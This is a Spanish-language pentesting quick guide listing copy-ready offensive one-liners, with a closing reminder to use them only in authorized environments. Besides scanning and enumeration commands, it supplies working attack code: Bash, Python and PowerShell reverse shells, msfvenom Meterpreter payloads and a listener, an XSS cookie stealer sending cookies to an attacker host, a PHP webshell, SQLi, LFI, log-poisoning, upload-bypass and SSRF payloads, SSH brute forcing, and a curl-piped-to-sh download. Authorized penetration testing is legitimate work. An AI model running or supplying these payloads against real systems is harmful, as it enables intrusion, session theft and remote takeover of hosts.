PENTESTING QUICK GUIDE


Guia rápida de one-liners para pentesting, organizados por categoría.



Kali Linux · Comandos listos para copiar · Sustituye <IP> · <TARGET> · <LHOST> · <LPORT>
Nmap
Escaneo completo de puertos, detección de versiones y scripts NSE por defecto.
nmap -sC -sV -p- -T4 --min-rate 3000 <IP>
Masscan
Escaneo de puertos ultra-rápido (ideal para rangos grandes).
masscan -p1-65535 <IP> --rate=8000 -e eth0
Enum4linux
Enumeración de usuarios, grupos, shares y políticas SMB/LDAP.
enum4linux -a <IP>
CrackMapExec / NetExec
Enumeración y autenticación masiva sobre SMB, WinRM, LDAP, MSSQL…
crackmapexec smb <IP> --shares -u '' -p ''
Responder
Poisoning LLMNR/NBT-NS/MDNS para capturar hashes NTLMv2.
sudo responder -I eth0 -wrf
SNMP-Check
Enumeración completa de información vía SNMP (community strings).
snmp-check <IP> -c public
Gobuster
Fuerza bruta de directorios y archivos con extensiones.
gobuster dir -u http://<TARGET> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,js -t 50
ffuf
Fuzzer rápido y flexible (directorios, parámetros, vhosts…).
ffuf -u http://<TARGET>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,307,401,403 -t 80
Nikto
Escáner de vulnerabilidades y misconfiguraciones web clásico.
nikto -h http://<TARGET> -Tuning 123bde
WhatWeb
Fingerprinting de tecnologías, frameworks y plugins.
whatweb -a 3 http://<TARGET>
WPScan
Auditoría específica de WordPress (usuarios, plugins, temas, vulns).
wpscan --url http://<TARGET> --enumerate u,ap,at,tt,t --plugins-detection aggressive
Dirsearch
Directory brute-forcer moderno con buena detección de soft-404.
dirsearch -u http://<TARGET> -e php,asp,aspx,jsp,html,js -w /usr/share/seclists/Discovery/Web-Content/common.txt
Bash Reverse Shell
Shell inversa clásica en Bash (muy fiable en la mayoría de Linux).
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
Python3 Reverse Shell
Reverse shell con PTY (mejor interacción que el bash puro).
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("<LHOST>",<LPORT>));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
msfvenom · Linux ELF
Payload Meterpreter o shell reverse en formato ELF.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf -o rev.elf
msfvenom · Windows EXE
Payload Meterpreter reverse TCP compilado a ejecutable.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o rev.exe
PowerShell Reverse Shell
One-liner PowerShell (útil cuando solo tienes ejecución de comandos).
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('<LHOST>',<LPORT>);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String)+'PS '+(pwd).Path+'> ';$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}"
XSS · Reflected básico
Prueba rápida de Cross-Site Scripting reflejado.
<script>alert(document.domain)</script>
XSS · Cookie stealer
Robo de cookies vía fetch (escucha con nc -lvnp 80).
<script>fetch('http://<LHOST>/?c='+document.cookie)</script>
PHP Webshell mínima
Shell web de una sola línea (subir como .php o .phtml).
<?php system($_GET['cmd']); ?>
SQLi · Union Based (ejemplo)
Payload típico de Union-based SQL Injection (ajustar columnas).
' UNION SELECT 1,2,3,4,5-- -
LFI · Path Traversal clásico
Local File Inclusion básica para leer archivos del sistema.
../../../../../../etc/passwd
LinPEAS
Enumeración automática exhaustiva de vectores de privilege escalation en Linux.
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
sudo -l
Lista de comandos que el usuario actual puede ejecutar con sudo.
sudo -l
SUID / SGID binaries
Búsqueda de binarios con bit SUID (posibles GTFOBins).
find / -perm -4000 -type f 2>/dev/null
Capabilities
Listado de binarios con capabilities peligrosas (cap_setuid, etc.).
getcap -r / 2>/dev/null
Cron & Timers
Revisión de tareas programadas y timers de systemd.
cat /etc/crontab; ls -la /etc/cron.*; systemctl list-timers --all
WinPEAS (Windows)
Enumeración automática de privilege escalation en Windows.
# Descargar y ejecutar: .\winPEASx64.exe
PHP Filter (LFI → Source)
Leer código fuente de archivos PHP mediante php://filter.
php://filter/convert.base64-encode/resource=index.php
Log Poisoning (LFI → RCE)
Inyectar PHP en logs de Apache/Nginx y luego incluir el log.
# User-Agent: <?php system($_GET['c']); ?> → luego incluir /var/log/apache2/access.log
File Upload bypass (extensiones)
Extensiones y técnicas clásicas para saltarse filtros de subida.
shell.php.jpg | shell.phtml | shell.php%00.jpg | shell.PhP
SSRF → Internal services
Usar SSRF para alcanzar servicios internos (metadata, redis, etc.).
http://169.254.169.254/latest/meta-data/ | http://127.0.0.1:6379/
Metasploit multi/handler
Listener listo para recibir Meterpreter o shell reverse.
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST <LHOST>; set LPORT <LPORT>; exploit"
Searchsploit
Buscar exploits públicos y copiarlos al directorio actual.
searchsploit <producto> <versión> | searchsploit -m <EDB-ID>
Hydra · SSH
Fuerza bruta de credenciales SSH.
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://<IP> -t 4
Impacket psexec / smbexec
Ejecución remota de comandos con credenciales válidas (SMB).
impacket-psexec <DOMAIN>/<USER>:<PASS>@<IP>
Evil-WinRM
Shell interactiva vía WinRM (muy útil en Active Directory).
evil-winrm -i <IP> -u <USER> -p '<PASS>'
SQLMap
Explotación automática de SQL Injection (detección + dump).
sqlmap -u "http://<TARGET>/page.php?id=1" --batch --dbs --risk=3 --level=5 --threads=5
Commix
Explotación automática de Command Injection.
commix --url="http://<TARGET>/vuln.php?cmd=INJECT_HERE" --batch
XSStrike
Detección y explotación avanzada de Cross-Site Scripting.
xsstrike -u "http://<TARGET>/search?q=test" --crawl
JWT Tool
Análisis y manipulación de tokens JWT (none algorithm, weak secret…).
jwt_tool <TOKEN> -C -d wordlist.txt
FFuF · Parameter Fuzzing
Descubrimiento de parámetros ocultos y valores interesantes.
ffuf -u "http://<TARGET>/index.php?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200
Ejecuta con responsabilidad y solo en entornos autorizados.
Volver a Pentesting Tools



↑